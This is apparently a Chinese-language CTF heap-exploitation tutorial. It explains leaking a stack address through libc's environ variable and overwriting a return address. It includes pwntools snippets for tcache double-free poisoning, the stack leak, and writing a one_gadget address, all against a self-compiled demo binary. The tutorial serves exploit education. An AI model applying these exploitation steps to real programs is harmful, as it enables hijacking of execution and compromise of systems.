Environ#
Linux C中environ 变量是一个char** 类型 存储着系统的环境变量 编译下面的程序 进行一个实验 进入pwndbg我们来看一下environ指向的地址是哪里
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
void test1(){
puts("test1");
}
void test2(){
puts("test2");
}
int main()
{
while(1){
test1();
test2();
}
}
实际利用#
覆盖retaddr#
这个办法的利用主要是在堆中 对于开启了沙盒的堆 我们只能构造orw 从而获取flag 但是如何执行rop链是一个难点 如果我们得到了ret addr地址 搭配上任意写 就可以劫持程序执行流 从而执行rop链 演示环境: ubuntu22 libc依赖2.27 1.0小版本 演示附件: 自己编译的 涵盖所有漏洞 首先我们利用tcachebin attack 申请到指向environ的chunk (实际做题当然不局限于tcachebin attack)
libc_addr = gift()environ_addr = libc_addr + libc.sym['environ']add(0x30)#0delete(0)delete(0)edit(0,8,p64(environ_addr))add(0x30)#1add(0x30,)#2show(2)io.recv()stack_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))#-0x110success("stack_addr :"+hex(stack_addr))老生常谈的操作了 不过获取libc基址的那个操作是我编写程序的时候直接给的漏洞 毕竟方便演示嘛
那么 获取了栈上的一个地址 要做的当然是计算和ret addr的偏移了
这时候会存在两种情况 一种rbp的值指向栈上 下一个字长就是ret addr了 直接看就好了 和泄露出来的偏移大概在0x100-0x200左右 上面的小程序就是这种情况
还有一种情况是我的演示程序 其rbp并不指向栈上

delete(0)delete(0)edit(0,8,p64(stack_addr))add(0x30)#3add(0x30)#4onegadget_addr = libc_addr + 0x4f2c5edit(4,8,p64(onegadget_addr))直接同样也是图方便 直接填了个onegadget 一般是开沙盒的 或者是libc2.34以上的版本没有hook了

覆盖函数的retaddr#
这个我感觉比上面那个效果更牛逼一点 上面那种覆盖办法 直接就把程序执行流控死了 执行完你的rop链以后 如果你rop链不返回的话 就直接终止了程序
这个办法是覆盖你调用的函数的retaddr 这样也就把调用函数的执行流控制了 main函数的不会
当然 还是没逼用 毕竟最后都控执行流了 我们肯定就获取shell或者flag了 还要这程序执行下去什么
哎呀 虽然没用 但还是看一看嘛 了解了解
比如 这个时候执行一个puts函数 我们s进入

delete(0)delete(0)edit(0,8,p64(stack_addr))add(0x30)#3add(0x30)#4onegadget_addr = libc_addr + 0x4f2c5gdb.attach(io,'b *0x4009CF')pause(0)edit(4,8,p64(onegadget_addr))pause()